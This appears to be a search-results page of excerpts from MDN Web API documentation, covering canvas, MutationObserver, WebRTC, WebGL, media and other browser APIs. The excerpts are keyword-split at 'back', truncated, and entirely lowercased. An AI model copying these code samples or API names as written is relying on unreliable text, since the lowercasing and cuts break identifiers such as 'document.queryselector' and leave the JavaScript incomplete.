syntax var iirfilter = audiocontext.createiirfilter(feedforward, feed
back); parameters feedforward an array of floating-point values specifying the feedforward (numerator) coefficients for the transfer function of the iir filter.
... feed
back an array of floating-point values specifying the feed
back (denominator) coefficients for the transfer function of the iir filter.
... return value an iirfilternode implementing the filter with the specified feed
back and feedforward coefficient arrays.
... exceptions invalidstateerror all of the feedforward coefficients are 0, and/or the first feed
back coefficient is 0.
CSSStyleDeclaration.setProperty() - Web APIs
if priority can be omitted, javascript has a special simpler syntax for setting a css property on a style declaration object: style.csspropertyname = 'value'; examples in this example we have three buttons, which can be pressed to dynamically alter our box paragraph's border,
background color, and text color to random values (see the live example at the end of this section).
...in each case, this is done with the setproperty() method, for example boxpararule.style.setproperty('border', newborder); html <div class="controls"> <button class="border">border</button> <button class="bgcolor">
background</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html {
background: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .controls { display: flex; justify-content: space-around; align-items: center; } div button { flex: 1; marg...
...in: 20px; height: 30px; line-height: 30px; } .box { display: flex; justify-content: center; align-items: center; height: calc(100% - 70px); } .box p { width: 50%; text-align: center; font-weight: bold; font-size: 40px; height: 150px; line-height: 150px;
background: red; border: 5px solid purple; color: white; transition: all 1s; } javascript const borderbtn = document.queryselector('.border'); const bgcolorbtn = document.queryselector('.bgcolor'); const colorbtn = document.queryselector('.color'); const box = document.queryselector('.box'); function random(min,max) { const num = math.floor(math.random()*(max-min)) + min; return num; } function randomcolor() { return 'rgb(' + random(0,255) + ', ' + random(0,255) + ', ' + random(0,255) + ')'; } const...
...= 0; i < stylesheet.cssrules.length; i++) { if(stylesheet.cssrules[i].selectortext === '.box p') { boxpararule = stylesheet.cssrules[i]; } } function setrandomborder() { const newborder = random(1, 50) + 'px solid ' + randomcolor(); boxpararule.style.setproperty('border', newborder); } function setrandombgcolor() { const newbgcolor = randomcolor(); boxpararule.style.setproperty('
background-color', newbgcolor); } function setrandomcolor() { const newcolor = randomcolor(); boxpararule.style.setproperty('color', newcolor); } borderbtn.addeventlistener('click', setrandomborder); bgcolorbtn.addeventlistener('click', setrandombgcolor); colorbtn.addeventlistener('click', setrandomcolor); result specifications specification status comment css ob...
Using the CSS properties and values API - Web APIs
.registered { --registered: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--registered)); transition: --registered 1s ease-in-out; } .registered:hover, .registered:focus { --registered: #b4d455; } .unregistered { --unregistered: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregiste...
...red: #b4d455; } <button class="registered">
background registered</button> <button class="unregistered">
background not registered</button> .registered { --registered: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--registered)); transition: --registered 1s ease-in-out; } .registered:hover, .registered:focus { --registered: #b4d455; } .unregistered { --unregistered: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } button { height: 40vh; display: block; width: 100%; font-size: 3vw; } window.css.registerproperty({ name: '--registered', syntax: '<color>', inherits: false, initialvalue: 'red', })...
...that means both that invalid values won't appear as invalid when inspecting the element's properties, and that including an invalid property after a valid one won't fall
back to the valid property.
... an invalid property will, however, fall
back to its registered default.
Drawing shapes with canvas - Web APIs
using quadratic and cubic bézier curves can be quite challenging, because unlike vector drawing software like adobe illustrator, we don't have direct visual feed
back as to what we're doing.
...here, all we're doing is using it to change the fill color for paths from the default color of black to white, and then
back again.
...you are able to play
back your paths quickly.
... the path will move to point (m10 10) and then move horizontally 80 points to the right (h 80), then 80 points down (v 80), then 80 points to the left (h -80), and then
back to the start (z).
Pixel manipulation with canvas - Web APIs
finally, we use the array data to set a
background color and a text in the <div> to display the color.
...); img.onload = function() { ctx.drawimage(img, 0, 0); img.style.display = 'none'; }; var color = document.getelementbyid('color'); function pick(event) { var x = event.layerx; var y = event.layery; var pixel = ctx.getimagedata(x, y, 1, 1); var data = pixel.data; var rgba = 'rgba(' + data[0] + ', ' + data[1] + ', ' + data[2] + ', ' + (data[3] / 255) + ')'; color.style.
background = rgba; color.textcontent = rgba; } canvas.addeventlistener('mousemove', pick); painting pixel data into a context you can use the putimagedata() method to paint pixel data into a context: ctx.putimagedata(myimagedata, dx, dy); the dx and dy parameters indicate the device coordinates within the context at which to paint the top left corner of the pixel data you wish to draw.
... for example, to paint the entire image represented by myimagedata to the top left corner of the context, you can simply do the following: ctx.putimagedata(myimagedata, 0, 0); grayscaling and inverting colors in this example we iterate over all pixels to change their values, then we put the modified pixel array
back to the canvas using putimagedata().
... canvas.toblob(call
back, type, encoderoptions) creates a blob object representing the image contained in the canvas.
Using channel messaging - Web APIs
for example, what if you wanted to add a contact to the address book from the main site, add high scores from your game into your main profile, or add new
background music choices from the audio player onto the game?
...we also have a paragraph which we will use later on to display confirmation messages that we will receive
back from the <iframe>.
... next, we post a confirmation message
back to the main page via the message channel by calling messageport.postmessage on messagechannel.port2 that was initially transferred to the iframe.
... // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; input.value = ''; } when a message is received
back from the iframe confirming that the original message was received successfully, this simply outputs the confirmation to a paragraph and empties the text input ready for the next message to be sent.
DOMTokenList.forEach() - Web APIs
the foreach() method of the domtokenlist interface calls the call
back given in parameter once for each value pair in the list, in insertion order.
... syntax tokenlist.foreach(call
back [, thisarg]); parameters call
back function to execute for each element, eventually taking three arguments: currentvalue the current element being processed in the array.
... thisarg optional value to use as this when executing call
back.
...ctor("span"); let classes = span.classlist; let iterator = classes.values(); classes.foreach( function(value, key, listobj) { span.textcontent += `${value} ${key}/${this} ++ `; }, "arg" ); result polyfill this polyfill adds compatibility to all browsers supporting es5: if (window.domtokenlist && !domtokenlist.prototype.foreach) { domtokenlist.prototype.foreach = function (call
back, thisarg) { thisarg = thisarg || window; for (var i = 0; i < this.length; i++) { call
back.call(thisarg, this[i], i, this); } }; } specifications specification status comment domthe definition of 'foreach() (as iterable<node>)' in that specification.
Document.querySelector() - Web APIs
note: characters that are not part of standard css syntax must be escaped using a
backslash character.
... since javascript also uses
backslash escaping, be especially careful when writing string literals using these characters.
... escaping special characters to match against an id or selectors that do not follow standard css syntax (by using a colon or space inappropriately, for example), you must escape the character with a
backslash ("\").
... as the
backslash is also an escape character in javascript, if you are entering a literal string, you must escape it twice (once for the javascript string, and another time for queryselector()): <div id="foo\bar"></div> <div id="foo:bar"></div> <script> console.log('#foo\bar'); // "#fooar" (\b is the
backspace control character) document.queryselector('#foo\bar'); // does not match anything console.log('#foo\\bar'); // "#foo\bar" console.log('#foo\\\\bar'); // "#foo\\bar" document.queryselector('#foo\\\\bar'); // match the first div document.queryselector('#foo:bar'); // does not match anything document.queryselector('#foo\\:bar'); // match the second div </script> examples finding the first element matching a class in this exa...
EffectTiming.direction - Web APIs
the direction property of the web animations api dictionary effecttiming indicates an animation's play
back direction along its timeline, as well as its behavior when it reaches the end of an iteration element.animate(), keyframeeffectreadonly(), and keyframeeffect() all accept an object of timing properties including direction.
... syntax var timingproperties = { direction: "normal" | "reverse" | "alternate" | "alternate-reverse" }; timingproperties.direction = "normal" | "reverse" | "alternate" | "alternate-reverse"; value a domstring which specifies the direction in which the animation should play as well as what to do when the play
back reaches the end of the animation sequence in the current direction.
... "reverse" the animation runs
backwards, or "rewinds." "alternate" the animation switches direction after each iteration, going forward through the animation sequence the first iteration, then
backward through the sequence the second iteration, and so forth.
... "alternate-reverse" similar to "alternate", except the animation play
back starts by going from the end of the animation sequence toward the beginning the first iteration, then goes forward during the second, and so forth.
Element.shadowRoot - Web APIs
examples the following snippets are taken from our life-cycle-call
backs example (see it live also), which creates an element that displays a square of a size and color specified in the element's attributes.
... inside the <custom-square> element's class definition we include some life cycle call
backs that make a call to an external function, updatestyle(), which actually applies the size and color to the element.
... connectedcall
back() { console.log('custom square element added to page.'); updatestyle(this); } attributechangedcall
back(name, oldvalue, newvalue) { console.log('custom square element attributes changed.'); updatestyle(this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot.
...the shadow dom and then update the css found inside it: function updatestyle(elem) { const shadow = elem.shadowroot; const childnodes = array.from(shadow.childnodes); childnodes.foreach(childnode => { if (childnode.nodename === 'style') { childnode.textcontent = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px;
background-color: ${elem.getattribute('c')}; } `; } }); } specifications specification status comment domthe definition of 'shadowroot' in that specification.
Event.eventPhase - Web APIs
event.bubbling_phase 3 the event is propagating
back up through the target's ancestors in reverse order, starting with the parent, and eventually reaching the containing window.
...</li> <li>repeat the experience</li> </ul> <input type="checkbox" id="chcapture" /> <label for="chcapture">use capturing</label> <div id="d1">d1 <div id="d2">d2 <div id="d3">d3 <div id="d4">d4</div> </div> </div> </div> <div id="divinfo"></div> css div { margin: 20px; padding: 4px; border: thin black solid; } #divinfo { margin: 18px; padding: 8px;
background-color:white; font-size:80%; } javascript let clear = false, divinfo = null, divs = null, usecapture = false; window.onload = function () { divinfo = document.getelementbyid('divinfo') divs = document.getelementsbytagname('div') chcapture = document.getelementbyid('chcapture') chcapture.onclick = function () { removelisteners() addlisteners() } clear() ...
....id != "divinfo") { if (chcapture.checked) { d.addeventlistener("click", ondivclick, true) } else { d.addeventlistener("click", ondivclick, false) d.onmousemove = function () { clear = true } } } } } function ondivclick(e) { if (clear) { clear() clear = false } if (e.eventphase == 2) e.currenttarget.style.
backgroundcolor = 'red'; let level = e.eventphase == 0 ?
..."bubbling" : "error"; divinfo.innerhtml += e.currenttarget.id + "; eventphase: " + level + "<br/>"; } function clear() { for (let i = 0; i < divs.length; i++) { if (divs[i].id != "divinfo") { divs[i].style.
backgroundcolor = (i & 1) ?
Using the Frame Timing API - Web APIs
when one of those event types is added to the browser's performance timeline, the application is notified of the event via the observer's call
back function that was specified when the observer was created.
... creating an observer to observe "frame" performance entry types, the application first creates a performanceobserver object with a specific frame observer call
back.
... obs.observe({entrytypes: ['frame']}); } function frame_observer_2(list) { // log the frame entries var perfentries = list.getentriesbytype("frame"); for (var i=0; i < perfentries.length; i++) { console.log("obs #2: [" + i + "] = " + perfentries[i].name); } } <body onload="init(event)"> when the browser adds a new "frame" entry to the performance timeline, both of the observer call
backs will be invoked.
...ies[i]); break; case "resource": process_resource(perfentries[i]); break; default: console.log("unexpected performance entry type: " + perfentries[i].entrytype); } } }); // observe frame, mark, measure and resource events observe_frame.observe({entrytypes: ['frame', 'mark', 'measure', 'resource']}); accessing frame data when a frame observer is invoked, the observer call
back is given one argument that is a performanceobserverentrylist object.
Frame Timing API - Web APIs
the observer (call
back) will be notified when new "frame" events are added to the browser's performance timeline and the frame's duration (length of time) will be available.
...when one of those event types is recorded in the browser's performance timeline, the application is notified of the event via the observer's call
back function that was specified when the observer was created.
... to observe "frame" performance entry types, the application first creates a performanceobserver object with a specific frame observer call
back (function).
...when the browser adds a new frame to the performance timeline, the specified observer call
back will be invoked.
Using the Gamepad API - Web APIs
this information is intended to allow you to find a mapping for the controls on the device as well as display useful feed
back to the user.
...if so, we stop the requestanimationframe() loop (see below) and revert the gamepad information
back to what it was originally.
...we attempt to detect and handle both the prefixed version and the standard version of the function for
backwards compatibility.
...etelementbyid("controller" + j); var buttons = d.getelementsbyclassname("button"); for (i = 0; i < controller.buttons.length; i++) { var b = buttons[i]; var val = controller.buttons[i]; var pressed = val == 1.0; if (typeof(val) == "object") { pressed = val.pressed; val = val.value; } var pct = math.round(val * 100) + "%"; b.style.
backgroundsize = pct + " " + pct; if (pressed) { b.classname = "button pressed"; } else { b.classname = "button"; } } var axes = d.getelementsbyclassname("axis"); for (i = 0; i < controller.axes.length; i++) { var a = axes[i]; a.innerhtml = i + ": " + controller.axes[i].tofixed(4); a.setattribute("value", controller.axes[i] + 1); } ...
HTMLCanvasElement.toBlob() - Web APIs
syntax canvas.toblob(call
back, mimetype, qualityargument); parameters call
back a call
back function with the resulting blob object as a single argument.
... var canvas = document.getelementbyid('canvas'); var d = canvas.width; ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(d / 2, 0); ctx.lineto(d, d); ctx.lineto(0, d); ctx.closepath(); ctx.fillstyle = 'yellow'; ctx.fill(); function blobcall
back(iconname) { return function(b) { var a = document.createelement('a'); a.textcontent = 'download'; document.body.appendchild(a); a.style.display = 'block'; a.download = iconname + '.ico'; a.href = window.url.createobjecturl(b); } } canvas.toblob(blobcall
back('passthisstring'), 'image/vnd.microsoft.icon', '-moz-parse-options:format=bmp;bpp=32'); save tobl...
... var canvas = document.getelementbyid('canvas'); var d = canvas.width; ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(d / 2, 0); ctx.lineto(d, d); ctx.lineto(0, d); ctx.closepath(); ctx.fillstyle = 'yellow'; ctx.fill(); function blobcall
back(iconname) { return function(b) { var r = new filereader(); r.onloadend = function () { // r.result contains the arraybuffer.
... iconname + '.ico'); var promise = os.file.writeatomic(writepath, new uint8array(r.result), {tmppath:writepath + '.tmp'}); promise.then( function() { console.log('successfully wrote file'); }, function() { console.log('failure writing file') } ); }; r.readasarraybuffer(b); } } canvas.toblob(blobcall
back('passthisstring'), 'image/vnd.microsoft.icon', '-moz-parse-options:format=bmp;bpp=32'); specifications specification status comment html living standardthe definition of 'htmlcanvaselement.toblob' in that specification.
HTMLCanvasElement - Web APIs
htmlcanvaselement.mozprintcall
back is a function that is initially null.
...when called, the call
back is passed a "printstate" object that implements the mozcanvasprintstate interface.
... the call
back can get the context to draw to from the printstate object and must then call done() on it when finished.
... the purpose of mozprintcall
back is to obtain a higher resolution rendering of the canvas at the resolution of the printer being used.
HTMLImageElement.src - Web APIs
if you use the srcset content attribute to provide multiple image options for different display pixel densities, the url specified by the src attribute is used in one of two ways: as a fall
back for browsers that don't support srcset.
... additionally, if you use src along with both sizes (or the corresponding sizes content attribute) and srcset in order to choose an image based on the viewport size, the src attribute is only used as a fall
back for browsers that don't support sizes and srcset; otherwise, it's not used at all.
... examples specifying a single image html <img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg" width="160" alt="slices of grapefruit, looking yummy."> result using src with an image set when using a set of images with the srcset property, the src serves as either a fall
back for older browsers, or as the 1x size of the image.
... html result specifying a fall
back for viewport-based selection when using viewport-bases selection of an image from a srcset by also specifying the sizes property, the src property serves as the fall
back to be used on browsers that don't support viewport-based selection.
HTMLMediaElement.srcObject - Web APIs
until other browsers catch up, for mediasource, blob and file, consider falling
back to creating a url with url.createobjecturl() and assign it to htmlmediaelement.src.
... const mediasource = new mediasource(); const video = document.createelement('video'); video.srcobject = mediasource; supporting fall
back to the src property the examples below support older browser versions that require you to create an object url and assign it to src if srcobject isn't supported.
... first, a mediastream from a camera is assigned to a newly-created <video> element, with fall
back for older browsers.
... video.src = url.createobjecturl(mediastream); } second, a new mediasource is assigned to a newly-created <video> element, with fall
back for older browsers and browsers that don't yet support assignment of mediasource directly.
History.go() - Web APIs
you can use it to move forwards and
backwards through the history depending on the value of a parameter.
...a negative value moves
backwards, a positive value moves forwards.
... so, for example, history.go(2) moves forward two pages and history.go(-2) moves
back two pages.
... examples to move
back one page (the equivalent of calling
back()): history.go(-1) to move forward a page, just like calling forward(): history.go(1) to move forward two pages: history.go(2); to move
backwards by two pages: history.go(-2); and, finally either of the following statements will reload the current page: history.go(); history.go(0); specifications specification status comment html living standardthe definition of 'history.go()' in that specification.
Basic concepts - Web APIs
for the reference documentation on the indexeddb api, refer
back to the main indexeddb api article and its subpages, which document the types of objects used by indexeddb.
... for more information on how the browser handles storing your data in the
background, read browser storage limits and eviction criteria.
...the api doesn't give you data by returning values; instead, you have to pass a call
back function.
...you can abort the transaction, which rolls
back the changes made to the database in the transaction.
MediaCapabilitiesInfo - Web APIs
smooth: given the properties defined in the mediaconfiguration, will the play
back of the specified piece of media be high quality?
... if supported is true, and play
back will be smooth, smooth is true, otherwise, is it false.
... powerefficient: given the properties defined in the mediaconfiguration, will the play
back of the specified piece of media be power efficient?
... if supported is true, and play
back will be power efficient, powerefficient is true, otherwise, is it false.
MediaKeyStatusMap.forEach() - Web APIs
the foreach property of the mediakeystatusmap interface calls call
back once for each key-value pair in the status map, in insertion order.
... if an argument is present it will be passed to the call
back.
... syntax mediakeystatusmap.foreach(call
back[, thisarg]) parameters call
back function to execute for each element, taking three arguments: currentvalue the current element being processed in the array.
... thisarg optional value used as this when executing call
back.
Media Capabilities API - Web APIs
the media capabilities api allows developers to determine decoding and encoding abilities of the device, exposing information such as whether media is supported and whether play
back should be smooth and power efficient, with real time feed
back about play
back to better enable adaptive streaming, and access to display property information.
... whether a device uses hardware or software decoding impacts how smooth and power efficient the video decoding is and how efficient the play
back will be.
...the api also provides abilities to access display property information such as supported color gamut, dynamic range abilities, and real-time feed
back about the play
back.
...the information can be used to serve optimal media streams to the user and determine if play
back should be smooth and power efficient .
msRealTime - Web APIs
msrealtime is a read/write property which specifies whether or not to enable low-latency play
back on the media element.
... syntax ptr = object.msrealtime; value boolean value set to true indicates that low-latency play
back will be enabled on the media element.
... low-latency play
back is useful in communication and some gaming scenarios, but is more demanding on power consumption and less reliable for smooth media play
back.
... msrealtime should not be used in non-real-time or non-communication scenarios, such as audio and/or video play
back, as this can affects play
back startup latency of audio and video play
back.
MutationObserver.takeRecords() - Web APIs
the mutationobserver method takerecords() returns a list of all matching dom changes that have been detected but not yet processed by the observer's call
back function, leaving the mutation queue empty.
... note: the queue of mutations which have occurred, but not been delivered to the observer's call
back is left empty after calling takerecords().
... const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(call
back); observer.observe(targetnode, observeroptions); /* ...later, when it's time to stop observing...
... */ /* handle any still-pending mutations */ let mutations = observer.takerecords(); observer.disconnect(); if (mutations) { call
back(mutations); } the code in lines 12–17 fetches any unprocessed mutation records, then invokes the call
back with the records so that they can be processed.
MutationObserver - Web APIs
constructor mutationobserver() creates and returns a new mutationobserver which will invoke a specified call
back function when dom changes occur.
... observe() configures the mutationobserver to begin receiving notifications through its call
back function when dom changes matching the given options occur.
... // select the node that will be observed for mutations const targetnode = document.getelementbyid('some-id'); // options for the observer (which mutations to observe) const config = { attributes: true, childlist: true, subtree: true }; // call
back function to execute when mutations are observed const call
back = function(mutationslist, observer) { // use traditional 'for loops' for ie 11 for(let mutation of mutationslist) { if (mutation.type === 'childlist') { console.log('a child node has been added or removed.'); } else if (mutation.type === 'attributes') { console.log('the ' + mutat...
...ion.attributename + ' attribute was modified.'); } } }; // create an observer instance linked to the call
back function const observer = new mutationobserver(call
back); // start observing the target node for configured mutations observer.observe(targetnode, config); // later, you can stop observing observer.disconnect(); specifications specification status comment domthe definition of 'mutationobserver' in that specification.
MutationObserverInit.attributes - Web APIs
syntax var options = { attributes: true | false } value a boolean value indicating whether or not to report through the call
back any changes to the values of attributes on the node or nodes being monitored.
... if true, the call
back specified when observe() was used to start observing the node or subtree will be called any time one or more attributes have changed on observed nodes.
... function call
back(mutationlist) { mutationlist.foreach(function(mutation) { switch(mutation.type) { case "attributes": notifyuser("attribute name " + mutation.attributename + " changed to " + mutation.target[mutation.attributename] + " (was " + mutation.oldvalue + ")"); break; } }); } var targetnode = document.queryselector("#target"); var observer = new ...
...mutationobserver(call
back); observer.observe(targetnode, { attributes: true, attributeoldvalue: true }); the call
back() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects.
Navigator.mediaSession - Web APIs
the read-only navigator property mediasession returns a mediasession object that can be used to share with the browser metadata and other information about the current play
back state of media being handled by a document.
... this information may, in turn, be shared with the device and/or operating system in order to a device's standard media control user experience to describe and control the play
back of the media.
...an internet radio app, for example, can use setactionhandler() to let fhe media controls on a keyboard or elsehwere on the user's device be used to control the app's media play
back.
... syntax let mediasession = navigator.mediasession; value a mediasession object the current document can use to share information about media it's playing and its current play
back status.
NodeList.prototype.forEach() - Web APIs
the foreach() method of the nodelist interface calls the call
back given in parameter once for each value pair in the list, in insertion order.
... syntax somenodelist.foreach(call
back[, thisarg]); parameters call
back a function to execute on each element of somenodelist.
... thisarg optional value to use as this when executing call
back.
...ntvalue + ', ' + currentindex + ', ' + this); }, 'mythisarg' ); the above code results in the following: [object htmlparagraphelement], 0, mythisarg [object text], 1, mythisarg [object htmlspanelement], 2, mythisarg polyfill this polyfill adds compatibility to all browsers supporting es5: if (window.nodelist && !nodelist.prototype.foreach) { nodelist.prototype.foreach = function (call
back, thisarg) { thisarg = thisarg || window; for (var i = 0; i < this.length; i++) { call
back.call(thisarg, this[i], i, this); } }; } or if (window.nodelist && !nodelist.prototype.foreach) { nodelist.prototype.foreach = array.prototype.foreach; } the above behavior is how many browsers actually implement nodelist.prototype.foreach() (chrome, for example).
Using the Notifications API - Web APIs
the notifications api lets a web page or app send notifications that are displayed outside the page at the system level; this lets web apps send information to a user even if the application is idle or in the
background.
...if you want to support older versions, you might have to use the older call
back version, which looks like this: notification.requestpermission(); the call
back version optionally accepts a call
back function that is called once the user has responded to the request to display permissions.
...if it is, we run the promise-based version (supported everywhere except safari), and if not, we run the older call
back-based version (which is supported in safari).
..." + i, {tag: 'somanynotification'}); if (i++ == 9) { window.clearinterval(interval); } }, 200); } // otherwise, we can fall
back to a regular modal alert else { alert("hi!"); } }); } // if the user refuses to get notified else { // we can fall
back to a regular modal alert alert("hi!"); } }); }); see the live result below: specifications specification status comment notifications api living standard living standard ...
Performance Timeline - Web APIs
the standard also includes interfaces that allow an application to define performance observer call
backs that are notified when specific performance events are added to the browser's performance timeline.
... performance observers the performance observer interfaces allow an application to register an observer for specific performance event types, and when one of those event types is recorded, the application is notified of the event via the observer's call
back function that was specified when the observer was created.
... when the observer (call
back) is invoked, the call
back's parameters include a performance observer entry list that contains only observed performance entries.
...however, note there is one key difference with these methods; the performance observer entry list versions are used to retrieve observed performance entries within the observer call
back.
RTCPeerConnection.addIceCandidate() - Web APIs
syntax apromise = pc.addicecandidate(candidate); addicecandidate(candidate, successcall
back, failurecall
back); parameters candidate optional an object conforming to the rtcicecandidateinit dictionary, or an rtcicecandidate object; the contents of the object should be constructed from a message received over the signaling channel, describing a newly received ice candidate that's ready to be delivered to the local ice agent.
... if no candidate object is specified, or its value is null, an end-of-candidates signal is sent to the remote peer using the end-of-candidates a-line, formatted simply like this: a=end-of-candidates deprecated parameters in older code and documentation, you may see a call
back-based version of this function.
... successcall
back a function to be called when the ice candidate has been successfully added.
... failurecall
back a function to be called if attempting to add the ice candidate fails.
RTCPeerConnection.createAnswer() - Web APIs
syntax apromise = rtcpeerconnection.createanswer([options]); rtcpeerconnection.createanswer(successcall
back, failurecall
back[, options]); parameters options optional an object which contains options which customize the answer; this is based on the rtcansweroptions dictionary.
... deprecated parameters in older code and documentation, you may see a call
back-based version of this function.
... successcall
back an rtcsessiondescriptioncall
back which will be passed a single rtcsessiondescription object describing the newly-created answer.
... failurecall
back an rtcpeerconnectionerrorcall
back which will be passed a single domexception object explaining why the request to create an answer failed.
RTCPeerConnection.createOffer() - Web APIs
syntax apromise = mypeerconnection.createoffer([options]); mypeerconnection.createoffer(successcall
back, failurecall
back, [options]) parameters options optional an rtcofferoptions dictionary providing options requested for the offer.
... deprecated parameters in older code and documentation, you may see a call
back-based version of this function.
... successcall
back an rtcsessiondescriptioncall
back which will be passed a single rtcsessiondescription object describing the newly-created offer.
... errorcall
back an rtcpeerconnectionerrorcall
back which will be passed a single domexception object explaining why the request to create an offer failed.
Reporting API - Web APIs
the endpoints are arranged into groups; an endpoint group can work together to provide load balancing (each endpoint will receive a specified proportion of report traffic) and safeguarding against failure (fall
back endpoints can be specified to use if the primary ones fail).
... a reportingobserver object is created using the reportingobserver() constructor, which is passed two parameters: a call
back function that has available as parameters the reports available in the observer's report queue, and a copy of the same reportingobserver object, so observation can be controlled directly from inside the call
back.
... the call
back runs when observation starts an options dictionary that allows you to specify the type of reports to collect, and whether the reports that were generated before the observer was able to be created should be observable (buffered: true).
...precated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the call
back function specified inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediadevices.getusermedia(): if(navigator.mozgetusermedia) { navigator.mozgetusermedia( constraints, success, failure); } else { navigator.getusermedia( constraints, success, failure); } this causes a deprecation report to be generate...
ResizeObserverEntry - Web APIs
the resizeobserverentry interface represents the object passed to the resizeobserver() constructor's call
back function, which allows you to access the new dimensions of the element or svgelement being observed.
... properties resizeobserverentry.borderboxsize read only an object containing the new border box size of the observed element when the call
back is run.
... resizeobserverentry.contentboxsize read only an object containing the new content box size of the observed element when the call
back is run.
... resizeobserverentry.contentrect read only a domrectreadonly object containing the new size of the observed element when the call
back is run.
ShadowRoot - Web APIs
examples the following snippets are taken from our life-cycle-call
backs example (see it live also), which creates an element that displays a square of a size and color specified in the element's attributes.
... inside the <custom-square> element's class definition we include some life cycle call
backs that make a call to an external function, updatestyle(), which actually applies the size and color to the element.
... connectedcall
back() { console.log('custom square element added to page.'); updatestyle(this); } attributechangedcall
back(name, oldvalue, newvalue) { console.log('custom square element attributes changed.'); updatestyle(this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot.
...n update the css found inside it: function updatestyle(elem) { var shadow = elem.shadowroot; var childnodes = shadow.childnodes; for(var i = 0; i < childnodes.length; i++) { if(childnodes[i].nodename === 'style') { childnodes[i].textcontent = 'div {' + 'width: ' + elem.getattribute('l') + 'px;' + 'height: ' + elem.getattribute('l') + 'px;' + '
background-color: ' + elem.getattribute('c') + ';' + '}'; } } } specifications specification status comment domthe definition of 'interface shadowroot' in that specification.
WebGL2RenderingContext.getIndexedParameter() - Web APIs
possible values: gl.transform_feed
back_buffer_binding: returns a webglbuffer.
... gl.transform_feed
back_buffer_size: returns a glsizeiptr.
... gl.transform_feed
back_buffer_start: returns a glintptr.
... examples var binding = gl.getindexedparameter(gl.transform_feed
back_buffer_binding, 0); specifications specification status comment webgl 2.0the definition of 'getindexedparameter' in that specification.
WebGLRenderingContext.stencilFuncSeparate() - Web APIs
the webglrenderingcontext.stencilfuncseparate() method of the webgl api sets the front and/or
back function and reference value for stencil testing.
... syntax void gl.stencilfuncseparate(face, func, ref, mask); parameters face a glenum specifying whether the front and/or
back stencil state is updated.
... the possible values are: gl.front gl.
back gl.front_and_
back func a glenum specifying the test function.
... gl.getparameter(gl.stencil_func); gl.getparameter(gl.stencil_value_mask); gl.getparameter(gl.stencil_ref); gl.getparameter(gl.stencil_
back_func); gl.getparameter(gl.stencil_
back_value_mask); gl.getparameter(gl.stencil_
back_ref); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilfuncseparate' in that specification.
WebGLRenderingContext.stencilMask() - Web APIs
the webglrenderingcontext.stencilmask() method of the webgl api controls enabling and disabling of both the front and
back writing of individual bits in the stencil planes.
... the webglrenderingcontext.stencilmaskseparate() method can set front and
back stencil writemasks to different values.
... examples gl.stencilmask(110101); to get the current stencil masks, query the stencil_writemask, stencil_
back_writemask, or stencil_bits constants.
... gl.getparameter(gl.stencil_writemask); // 110101 gl.getparameter(gl.stencil_
back_writemask); // 110101 gl.getparameter(gl.stencil_bits); // 0 specifications specification status comment webgl 1.0the definition of 'stencilmask' in that specification.
WebGLRenderingContext.stencilOpSeparate() - Web APIs
the webglrenderingcontext.stencilopseparate() method of the webgl api sets the front and/or
back-facing stencil test actions.
... face a glenum specifying whether the front and/or
back stencil state is updated.
... the possible values are: gl.front gl.
back gl.front_and_
back fail a glenum specifying the function to use when the stencil test fails.
... gl.getparameter(gl.stencil_fail); gl.getparameter(gl.stencil_pass_depth_pass); gl.getparameter(gl.stencil_pass_depth_fail); gl.getparameter(gl.stencil_
back_fail); gl.getparameter(gl.stencil_
back_pass_depth_pass); gl.getparameter(gl.stencil_
back_pass_depth_fail); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilopseparate' in that specification.
Using DTMF with WebRTC - Web APIs
hasaddtrack because some browsers have not yet implemented rtcpeerconnection.addtrack(), therefore requiring the use of the obsolete addstream() method, we use this boolean to determine whether or not the user agent supports addtrack(); if it doesn't, we'll fall
back to addstream().
...this variable will let the example operate even on browsers not yet implementing the newer addtrack() method; we'll do so by falling
back to the older addstream() method.
...falling " + "
back to the <strong>deprecated</strong> addstream() method..."); callerpc.addstream(stream); } if (callerpc.getsenders) { dtmfsender = callerpc.getsenders()[0].dtmf; } else { log("your browser doesn't support rtcpeerconnection.getsenders(), so " + "falling
back to use <strong>deprecated</strong> createdtmfsender() " + "instead."); dtmfsender = callerpc.createdtmf...
...although this method is obsolete, this example supports it as a fall
back to let older browsers (and those not yet updated to support the current webrtc dtmf api) run the example.
Using bounded reference spaces - Web APIs
although the user's xr system may provide automated detection and protection against exiting the safe area, it is always good practice to handle this yourself, watching for collisions between the user's position and the boundary of the world, and providing guidance to move
back toward the origin point, or at least to stay inside the safe zone.
...however, it's entirely possible that the device will simply decline to support bounded spaces at all, so you should be prepared to fall
back to some other type of reference space.
... once the session has been created, our startsessionanimation() function can try to establish a bounded-floor reference space, and if it fails to do so it can then fall
back to requesting a local-floor reference space instead (in which we will have to handle boundaries ourselves).
...that means you need to change the code that calls requestreferencespace() to ask for a bounded reference space, then if that fails fall
back to your
